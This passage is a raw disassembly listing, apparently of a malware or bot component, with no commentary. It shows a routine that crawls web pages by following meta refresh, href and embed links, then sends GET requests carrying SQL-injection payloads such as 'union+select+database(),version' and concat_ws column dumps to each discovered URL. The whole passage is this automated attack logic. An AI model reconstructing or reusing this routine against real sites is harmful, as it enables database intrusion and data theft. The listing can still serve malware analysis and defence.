		mov	dword ptr [edi+40h], 50h


loc_419E07:				; CODE XREF: sub_419C4E+1B0j
		push	offset aFtp	; "ftp"
		mov	ecx, edi
		call	sub_419788
		test	eax, eax
		jnz	short loc_419E1E
		mov	dword ptr [edi+40h], 15h


loc_419E1E:				; CODE XREF: sub_419C4E+1A0j
					; sub_419C4E+1C7j
		push	esi
		lea	eax, [ebp-3Ch]
		push	1
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_419A5E
		push	offset a@_6	; "@"
		lea	ecx, [ebp-4Ch]
		push	0
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 8
		call	sub_419A5E
		push	ebx
		lea	ecx, [ebp-5Ch]
		push	0
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 9
		call	sub_419A5E
		lea	ecx, [edi+20h]
		push	eax
		mov	byte ptr [ebp-4], 0Ah
		call	sub_41970F
		lea	ecx, [ebp-5Ch]
		call	sub_41968F
		lea	ecx, [ebp-4Ch]
		call	sub_41968F
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		call	sub_41968F
		push	offset byte_454A54
		lea	ecx, [edi+20h]
		call	sub_419788
		test	eax, eax
		jz	loc_419D7F
		push	esi
		lea	eax, [ebp-3Ch]
		push	1
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_419A5E
		push	offset a@_6	; "@"
		lea	ecx, [ebp-4Ch]
		push	0
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 0Bh
		call	sub_419A5E
		push	ebx
		lea	ecx, [ebp-5Ch]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 0Ch
		call	sub_419A5E
		lea	ebx, [edi+30h]
		push	eax
		mov	ecx, ebx
		mov	byte ptr [ebp-4], 0Dh
		call	sub_41970F
		lea	ecx, [ebp-5Ch]
		call	sub_41968F
		lea	ecx, [ebp-4Ch]
		call	sub_41968F
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		call	sub_41968F
		push	offset byte_454A54
		mov	ecx, ebx
		call	sub_419788
		test	eax, eax
		jnz	loc_419FD9
		jmp	loc_419D7F
; ---------------------------------------------------------------------------


loc_419F0E:				; CODE XREF: sub_419C4E+C0j
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_419A5E
		push	ebx
		lea	ecx, [ebp-5Ch]
		push	0
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 0Eh
		call	sub_419A5E
		lea	ecx, [edi+10h]
		push	eax
		mov	byte ptr [ebp-4], 0Fh
		call	sub_41970F
		lea	ecx, [ebp-5Ch]
		call	sub_41968F
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-4Ch]
		call	sub_41968F
		push	offset byte_454A54
		lea	ecx, [edi+10h]
		call	sub_419788
		test	eax, eax
		jz	loc_419D7F
		push	esi
		lea	eax, [ebp-4Ch]
		push	1
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_419A5E
		push	ebx
		lea	ecx, [ebp-5Ch]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 10h
		call	sub_419A5E
		mov	ecx, eax
		call	sub_419A8C
		push	eax
		call	sub_42A100
		pop	ecx
		mov	[edi+40h], eax
		lea	ecx, [ebp-5Ch]
		call	sub_41968F
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-4Ch]
		call	sub_41968F
		cmp	dword ptr [edi+40h], 0
		jnz	short loc_419FD9
		push	offset aHttp	; "http"
		mov	ecx, edi
		call	sub_419788
		test	eax, eax
		jnz	short loc_419FC2
		mov	dword ptr [edi+40h], 50h


loc_419FC2:				; CODE XREF: sub_419C4E+36Bj
		push	offset aFtp	; "ftp"
		mov	ecx, edi
		call	sub_419788
		test	eax, eax
		jnz	short loc_419FD9
		mov	dword ptr [edi+40h], 15h


loc_419FD9:				; CODE XREF: sub_419C4E+2B5j
					; sub_419C4E+35Bj ...
		push	esi
		lea	ecx, [ebp-1Ch]
		call	sub_419820
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_4198F0
		push	esi
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 11h
		call	sub_419820
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_4198F0
		push	eax
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 12h
		call	sub_419A7D
		lea	ecx, [ebp-5Ch]
		mov	byte ptr [ebp-4], 11h
		call	sub_41968F
		push	esi
		lea	ecx, [ebp-2Ch]
		call	sub_419820
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_4198F0
		push	eax
		lea	ecx, [ebp-2Ch]
		mov	byte ptr [ebp-4], 13h
		call	sub_419A7D
		lea	ecx, [ebp-5Ch]
		mov	byte ptr [ebp-4], 11h
		call	sub_41968F
		add	edi, 44h
		push	esi
		mov	ecx, edi
		call	sub_4196C2
		lea	eax, [ebp-2Ch]
		mov	ecx, edi
		push	eax
		call	sub_419770
		lea	ecx, [ebp-2Ch]
		call	sub_41968F
		xor	esi, esi
		inc	esi


loc_41A072:				; CODE XREF: sub_419C4E+80j
					; sub_419C4E+133j
		lea	ecx, [ebp-1Ch]
		call	sub_41968F
		pop	edi
		mov	eax, esi
		pop	ebx


loc_41A07E:				; CODE XREF: sub_419C4E+17j
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_419C4E	endp

; ---------------------------------------------------------------------------


loc_41A08B:				; DATA XREF: sub_40A9FE+8094o
		mov	eax, offset loc_4365D0
		call	sub_42B7CC
		sub	esp, 0C40h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 22Ah
		mov	esi, eax
		lea	edi, [ebp-0C4Ch]
		xor	ebx, ebx
		rep movsd
		mov	dword ptr [eax+8A4h], 1
		mov	eax, [ebp-0C4Ch]
		lea	ecx, [ebp-1F4h]
		mov	[ebp-34h], eax
		mov	[ebp-48h], ebx
		call	sub_41B149
		mov	[ebp-4], ebx
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		lea	eax, [ebp-1F4h]
		push	eax
		lea	eax, [ebp-0C48h]
		push	eax
		call	sub_419C4E
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A161
		cmp	[ebp-3ACh], ebx
		mov	esi, offset aFailedToParse_ ; "Failed to parse."
		jnz	short loc_41A124
		cmp	[ebp-3B0h], ebx
		jnz	short loc_41A12C
		lea	eax, [ebp-448h]
		push	esi
		push	eax
		push	dword ptr [ebp-34h]
		call	sub_41CE4A
		add	esp, 0Ch


loc_41A124:				; CODE XREF: .text:0041A107j
		cmp	[ebp-3B0h], ebx
		jz	short loc_41A13F


loc_41A12C:				; CODE XREF: .text:0041A10Fj
		lea	eax, [ebp-448h]
		push	esi
		push	eax
		push	dword ptr [ebp-34h]
		call	sub_41CDD4
		add	esp, 0Ch


loc_41A13F:				; CODE XREF: .text:0041A12Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-1F4h]
		call	sub_41B173
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_41A161:				; CODE XREF: .text:0041A0FAj
		xor	eax, eax
		cmp	off_446358, ebx
		jz	short loc_41A175


loc_41A16B:				; CODE XREF: .text:0041A173j
		inc	eax
		cmp	off_446358[eax*4], ebx
		jnz	short loc_41A16B


loc_41A175:				; CODE XREF: .text:0041A169j
		dec	eax
		cmp	[ebp-3C0h], ebx
		mov	[ebp-0D0h], eax
		jle	loc_41B0C8
		mov	esi, offset asc_43D938 ; " "
		mov	edi, offset asc_44736C ; "="


loc_41A192:				; CODE XREF: .text:0041B0C2j
		push	dword ptr [ebp-0D0h]
		push	ebx
		call	sub_41E415
		mov	eax, off_446358[eax*4]
		pop	ecx
		pop	ecx
		mov	[ebp+8], eax
		lea	ecx, [ebp-30h]
		call	sub_419617
		lea	ecx, [ebp-20h]
		call	sub_419617
		cmp	dword ptr [ebp-3C4h], 50h
		mov	byte ptr [ebp-4], 2
		lea	ecx, [ebp-1E4h]
		jnz	short loc_41A1E6
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_4197A9
		add	esp, 0Ch
		jmp	short loc_41A203
; ---------------------------------------------------------------------------


loc_41A1E6:				; CODE XREF: .text:0041A1CBj
		push	dword ptr [ebp-1B4h]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_4197A9
		add	esp, 10h


loc_41A203:				; CODE XREF: .text:0041A1E4j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1B0h]
		push	dword ptr [ebp+8]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_4197A9
		add	esp, 18h
		lea	eax, [ebp-1F4h]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-0CCh]
		push	eax
		call	sub_419B11
		add	esp, 0Ch
		mov	byte ptr [ebp-4], 3
		jmp	loc_41B059
; ---------------------------------------------------------------------------


loc_41A25B:				; CODE XREF: .text:0041B05Fj
		lea	ecx, [ebp-0ACh]
		call	sub_41B149
		push	3Ch
		lea	ecx, [ebp-0CCh]
		mov	byte ptr [ebp-4], 4
		call	sub_4197E2
		test	eax, eax
		jz	loc_41B067
		push	3Ch
		lea	ecx, [ebp-0CCh]
		call	sub_4197E2
		push	eax
		lea	eax, [ebp-0F0h]
		push	eax
		lea	ecx, [ebp-0CCh]
		call	sub_4198F0
		lea	eax, [ebp-0F0h]
		lea	ecx, [ebp-0CCh]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_419A7D
		push	3Eh
		lea	ecx, [ebp-0CCh]
		call	sub_4197E2
		dec	eax
		lea	ecx, [ebp-0CCh]
		push	eax
		lea	eax, [ebp-44h]
		push	ebx
		push	eax
		call	sub_41985D
		push	esi
		lea	eax, [ebp-0BCh]
		push	ebx
		push	eax
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 6
		call	sub_419A5E
		push	offset aMeta	; "meta"
		lea	ecx, [ebp-0BCh]
		mov	byte ptr [ebp-4], 7
		call	sub_419798
		test	eax, eax
		jnz	loc_41A49B
		push	offset aRefresh	; "\"Refresh\""
		lea	ecx, [ebp-44h]
		call	sub_419820
		test	eax, eax
		jz	loc_41A49B
		push	esi
		lea	eax, [ebp-58h]
		push	3
		push	eax
		lea	ecx, [ebp-44h]
		call	sub_419A5E
		push	3Dh
		lea	ecx, [ebp-58h]
		mov	byte ptr [ebp-4], 8
		call	sub_4197E2
		push	eax
		lea	eax, [ebp-394h]
		push	eax
		lea	ecx, [ebp-58h]
		call	sub_4198F0
		push	eax
		lea	ecx, [ebp-0F0h]
		mov	byte ptr [ebp-4], 9
		call	sub_419A7D
		lea	ecx, [ebp-394h]
		mov	byte ptr [ebp-4], 8
		call	sub_41968F
		lea	eax, [ebp-0F0h]
		lea	ecx, [ebp-58h]
		push	eax
		call	sub_419A7D
		lea	ecx, [ebp-58h]
		call	sub_41DB5C
		dec	eax
		lea	ecx, [ebp-58h]
		push	eax
		lea	eax, [ebp-374h]
		push	ebx
		push	eax
		call	sub_41985D
		push	eax
		lea	ecx, [ebp-0F0h]
		mov	byte ptr [ebp-4], 0Ah
		call	sub_419A7D
		lea	ecx, [ebp-374h]
		mov	byte ptr [ebp-4], 8
		call	sub_41968F
		lea	eax, [ebp-0F0h]
		lea	ecx, [ebp-58h]
		push	eax
		call	sub_419A7D
		lea	eax, [ebp-58h]
		lea	ecx, [ebp-204h]
		push	eax
		call	sub_41966B
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-204h]
		push	eax
		mov	byte ptr [ebp-4], 0Bh
		call	sub_419A8C
		push	eax
		call	sub_419C4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41A488
		cmp	dword ptr [ebp-6Ch], 50h
		lea	ecx, [ebp-9Ch]
		jnz	short loc_41A417
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_4197A9
		add	esp, 0Ch
		jmp	short loc_41A431
; ---------------------------------------------------------------------------


loc_41A417:				; CODE XREF: .text:0041A3FCj
		push	dword ptr [ebp-6Ch]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_4197A9
		add	esp, 10h


loc_41A431:				; CODE XREF: .text:0041A415j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_4197A9
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-214h]
		push	eax
		call	sub_419B11
		add	esp, 0Ch
		lea	ecx, [ebp-214h]
		call	sub_41968F


loc_41A488:				; CODE XREF: .text:0041A3ECj
		lea	ecx, [ebp-204h]
		call	sub_41968F
		lea	ecx, [ebp-58h]
		jmp	loc_41B027
; ---------------------------------------------------------------------------


loc_41A49B:				; CODE XREF: .text:0041A2FFj
					; .text:0041A314j
		push	offset dword_43DAAC
		lea	ecx, [ebp-0BCh]
		call	sub_419798
		test	eax, eax
		jnz	loc_41A83E
		push	esi
		lea	eax, [ebp-384h]
		push	ebx
		push	eax
		lea	ecx, [ebp-44h]
		mov	[ebp-10h], ebx
		call	sub_419A5E
		push	edi
		lea	ecx, [ebp-110h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 0Ch
		call	sub_419A5E
		lea	ecx, [ebp-384h]
		jmp	short loc_41A542
; ---------------------------------------------------------------------------


loc_41A4E3:				; CODE XREF: .text:0041A55Dj
		push	offset byte_454A54
		lea	ecx, [ebp-110h]
		call	sub_419788
		test	eax, eax
		jz	short loc_41A55F
		inc	dword ptr [ebp-10h]
		push	esi
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-304h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_419A5E
		push	edi
		lea	ecx, [ebp-244h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 0Fh
		call	sub_419A5E
		push	eax
		lea	ecx, [ebp-110h]
		mov	byte ptr [ebp-4], 10h
		call	sub_41970F
		lea	ecx, [ebp-244h]
		call	sub_41968F
		lea	ecx, [ebp-304h]


loc_41A542:				; CODE XREF: .text:0041A4E1j
		mov	byte ptr [ebp-4], 0Eh
		call	sub_41968F
		lea	ecx, [ebp-110h]
		push	offset aHref	; "href"
		call	sub_419798
		test	eax, eax
		jnz	short loc_41A4E3


loc_41A55F:				; CODE XREF: .text:0041A4F5j
		push	offset byte_454A54
		lea	ecx, [ebp-110h]
		call	sub_419788
		test	eax, eax
		jz	loc_41A833
		push	esi
		lea	eax, [ebp-264h]
		push	dword ptr [ebp-10h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_419A5E
		push	1
		push	edi
		lea	ecx, [ebp-160h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 11h
		call	sub_419913
		lea	ecx, [ebp-264h]
		call	sub_41968F
		lea	ecx, [ebp-170h]
		call	sub_419617
		push	ebx
		lea	ecx, [ebp-160h]
		mov	byte ptr [ebp-4], 14h
		call	sub_419A82
		cmp	byte ptr [eax],	2Fh
		lea	ecx, [ebp-160h]
		jnz	short loc_41A600
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-170h]
		push	offset aHttpSDS	; "http://%s:%d%s"
		push	eax
		call	sub_4197A9
		add	esp, 14h
		jmp	short loc_41A660
; ---------------------------------------------------------------------------


loc_41A600:				; CODE XREF: .text:0041A5D0j
		push	offset aHttp_0	; "http://"
		call	sub_419820
		test	eax, eax
		jz	short loc_41A622
		lea	eax, [ebp-160h]
		lea	ecx, [ebp-170h]
		push	eax
		call	sub_41970F
		jmp	short loc_41A660
; ---------------------------------------------------------------------------


loc_41A622:				; CODE XREF: .text:0041A60Cj
		lea	ecx, [ebp-160h]
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1B0h]
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-170h]
		push	offset aHttpSDSS ; "http://%s:%d%s%s"
		push	eax
		call	sub_4197A9
		add	esp, 18h


loc_41A660:				; CODE XREF: .text:0041A5FEj
					; .text:0041A620j
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-170h]
		push	eax
		call	sub_419A8C
		push	eax
		call	sub_419C4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41A81D
		cmp	dword ptr [ebp-6Ch], 50h
		lea	ecx, [ebp-9Ch]
		jnz	short loc_41A6A7
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_4197A9
		add	esp, 0Ch
		jmp	short loc_41A6C1
; ---------------------------------------------------------------------------


loc_41A6A7:				; CODE XREF: .text:0041A68Cj
		push	dword ptr [ebp-6Ch]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_4197A9
		add	esp, 10h


loc_41A6C1:				; CODE XREF: .text:0041A6A5j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_4197A9
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-364h]
		push	eax
		call	sub_419B11
		add	esp, 0Ch
		lea	ecx, [ebp-364h]
		call	sub_41968F
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetS1UnionSele ; "GET %s=-1+union+select+database(),versi"...
		push	eax
		call	sub_4197A9
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-284h]
		push	eax
		call	sub_419B11
		add	esp, 0Ch
		lea	ecx, [ebp-284h]
		call	sub_41968F
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetS1UnionSe_0 ; "GET %s=-1+union+select+1,2,concat_ws(0x"...
		push	eax
		call	sub_4197A9
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-324h]
		push	eax
		call	sub_419B11
		add	esp, 0Ch
		lea	ecx, [ebp-324h]
		call	sub_41968F
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_419A8C
		push	eax
		push	dword ptr [ebp+8]
		lea	ecx, [ebp-68h]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetS1UnionSe_1 ; "GET %s=-1+union+select+1,2,concat_ws(ch"...
		push	eax
		call	sub_4197A9
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-2A4h]
		push	eax
		call	sub_419B11
		add	esp, 0Ch
		lea	ecx, [ebp-2A4h]
		call	sub_41968F


loc_41A81D:				; CODE XREF: .text:0041A67Cj
		lea	ecx, [ebp-170h]
		call	sub_41968F
		lea	ecx, [ebp-160h]
		call	sub_41968F


loc_41A833:				; CODE XREF: .text:0041A571j
		lea	ecx, [ebp-110h]
		jmp	loc_41B027
; ---------------------------------------------------------------------------


loc_41A83E:				; CODE XREF: .text:0041A4ADj
		push	offset off_446E38
		lea	ecx, [ebp-0BCh]
		call	sub_419798
		test	eax, eax
		jnz	loc_41AADC
		push	esi
		lea	eax, [ebp-3A4h]
		push	ebx
		push	eax
		lea	ecx, [ebp-44h]
		mov	[ebp-10h], ebx
		call	sub_419A5E
		push	edi
		lea	ecx, [ebp-140h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 15h
		call	sub_419A5E
		lea	ecx, [ebp-3A4h]
		jmp	short loc_41A8E5
; ---------------------------------------------------------------------------


loc_41A886:				; CODE XREF: .text:0041A900j
		push	offset byte_454A54
		lea	ecx, [ebp-140h]
		call	sub_419788
		test	eax, eax
		jz	short loc_41A902
		inc	dword ptr [ebp-10h]
		push	esi
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-344h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_419A5E
		push	edi
		lea	ecx, [ebp-2C4h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 18h
		call	sub_419A5E
		push	eax
		lea	ecx, [ebp-140h]
		mov	byte ptr [ebp-4], 19h
		call	sub_41970F
		lea	ecx, [ebp-2C4h]
		call	sub_41968F
		lea	ecx, [ebp-344h]


loc_41A8E5:				; CODE XREF: .text:0041A884j
		mov	byte ptr [ebp-4], 17h
		call	sub_41968F
		lea	ecx, [ebp-140h]
		push	offset off_446E34
		call	sub_419798
		test	eax, eax
		jnz	short loc_41A886


loc_41A902:				; CODE XREF: .text:0041A898j
		push	offset byte_454A54
		lea	ecx, [ebp-140h]
		call	sub_419788
		test	eax, eax
		jz	loc_41AAD1
		push	esi
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-10h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_419A5E
		push	1
		push	edi
		lea	ecx, [ebp-0E0h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 1Ah
		call	sub_419913
		lea	ecx, [ebp-2E4h]
		call	sub_41968F
		lea	ecx, [ebp-1A0h]
		call	sub_419617
		push	ebx
		lea	ecx, [ebp-0E0h]
		mov	byte ptr [ebp-4], 1Dh
		call	sub_419A82
		cmp	byte ptr [eax],	2Fh
		lea	ecx, [ebp-0E0h]
		jnz	short loc_41A9A3
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-1A0h]
		push	offset aHttpSDS	; "http://%s:%d%s"
		push	eax
		call	sub_4197A9
		add	esp, 14h
		jmp	short loc_41AA03
; ---------------------------------------------------------------------------


loc_41A9A3:				; CODE XREF: .text:0041A973j
		push	offset aHttp_0	; "http://"
		call	sub_419820
		test	eax, eax
		jz	short loc_41A9C5
		lea	eax, [ebp-0E0h]
		lea	ecx, [ebp-1A0h]
		push	eax
		call	sub_41970F
		jmp	short loc_41AA03
; ---------------------------------------------------------------------------


loc_41A9C5:				; CODE XREF: .text:0041A9AFj
		lea	ecx, [ebp-0E0h]
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1B0h]
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-1A0h]
		push	offset aHttpSDSS ; "http://%s:%d%s%s"
		push	eax
		call	sub_4197A9
		add	esp, 18h


loc_41AA03:				; CODE XREF: .text:0041A9A1j
					; .text:0041A9C3j
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-1A0h]
		push	eax
		call	sub_419A8C
		push	eax
		call	sub_419C4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41AABB
		cmp	dword ptr [ebp-6Ch], 50h
		lea	ecx, [ebp-9Ch]
		jnz	short loc_41AA4A
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_4197A9
		add	esp, 0Ch
		jmp	short loc_41AA64
; ---------------------------------------------------------------------------


loc_41AA4A:				; CODE XREF: .text:0041AA2Fj
		push	dword ptr [ebp-6Ch]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_4197A9
		add	esp, 10h


loc_41AA64:				; CODE XREF: .text:0041AA48j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_4197A9
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-224h]
		push	eax
		call	sub_419B11
		add	esp, 0Ch
		lea	ecx, [ebp-224h]
		call	sub_41968F


loc_41AABB:				; CODE XREF: .text:0041AA1Fj
		lea	ecx, [ebp-1A0h]
		call	sub_41968F
		lea	ecx, [ebp-0E0h]
		call	sub_41968F


loc_41AAD1:				; CODE XREF: .text:0041A914j
		lea	ecx, [ebp-140h]
		jmp	loc_41B027
; ---------------------------------------------------------------------------


loc_41AADC:				; CODE XREF: .text:0041A850j
		push	offset aEmbed	; "embed"
		lea	ecx, [ebp-0BCh]
		call	sub_419798
		test	eax, eax
		jnz	loc_41AD7A
		push	esi
		lea	eax, [ebp-234h]
		push	ebx
		push	eax
		lea	ecx, [ebp-44h]
		mov	[ebp-10h], ebx
		call	sub_419A5E
		push	edi
		lea	ecx, [ebp-130h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 1Eh
		call	sub_419A5E
		lea	ecx, [ebp-234h]
		jmp	short loc_41AB83
; ---------------------------------------------------------------------------


loc_41AB24:				; CODE XREF: .text:0041AB9Ej
		push	offset byte_454A54
		lea	ecx, [ebp-130h]
		call	sub_419788
		test	eax, eax
		jz	short loc_41ABA0
		inc	dword ptr [ebp-10h]
		push	esi
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-274h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_419A5E
		push	edi
		lea	ecx, [ebp-254h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 21h
		call	sub_419A5E
		push	eax
		lea	ecx, [ebp-130h]
		mov	byte ptr [ebp-4], 22h
		call	sub_41970F
		lea	ecx, [ebp-254h]
		call	sub_41968F
		lea	ecx, [ebp-274h]


loc_41AB83:				; CODE XREF: .text:0041AB22j
		mov	byte ptr [ebp-4], 20h
		call	sub_41968F
		lea	ecx, [ebp-130h]
		push	offset off_446E34
		call	sub_419798
		test	eax, eax
		jnz	short loc_41AB24


loc_41ABA0:				; CODE XREF: .text:0041AB36j
		push	offset byte_454A54
		lea	ecx, [ebp-130h]
		call	sub_419788
		test	eax, eax
		jz	loc_41AD6F
		push	esi
		lea	eax, [ebp-294h]
		push	dword ptr [ebp-10h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_419A5E
		push	1
		push	edi
		lea	ecx, [ebp-150h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 23h
		call	sub_419913
		lea	ecx, [ebp-294h]
		call	sub_41968F
		lea	ecx, [ebp-190h]
		call	sub_419617
		push	ebx
		lea	ecx, [ebp-150h]
		mov	byte ptr [ebp-4], 26h
		call	sub_419A82
		cmp	byte ptr [eax],	2Fh
		lea	ecx, [ebp-150h]
		jnz	short loc_41AC41
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_419A8C
		push	eax
		lea	eax, [ebp-190h]
		push	offset aHttpSDS	; "http://%s:%d%s"
		push	eax
		call	sub_4197A9
		add	esp, 14h
		jmp	short loc_41ACA1
; ---------------------------------------------------------------------------


loc_41AC41:				; CODE XREF: .text:0041AC11j
		push	offset aHttp_0	; "http://"
		call	sub_419820
		test	eax, eax
		jz	short loc_41AC63
		lea	eax, [ebp-150h]
		lea	ecx, [ebp-190h]
		push	eax
		call	sub_41970F
		jmp	short loc_41ACA1
; ---------------------------------------------------------------------------


loc_41AC63:				; CODE XREF: .text:0041AC4Dj
		lea	ecx, [ebp-150h]
		call	sub_419A8C
		push	eax
		lea	ecx, [ebp-1B0h]
		call	sub_419A8C
		push	eax
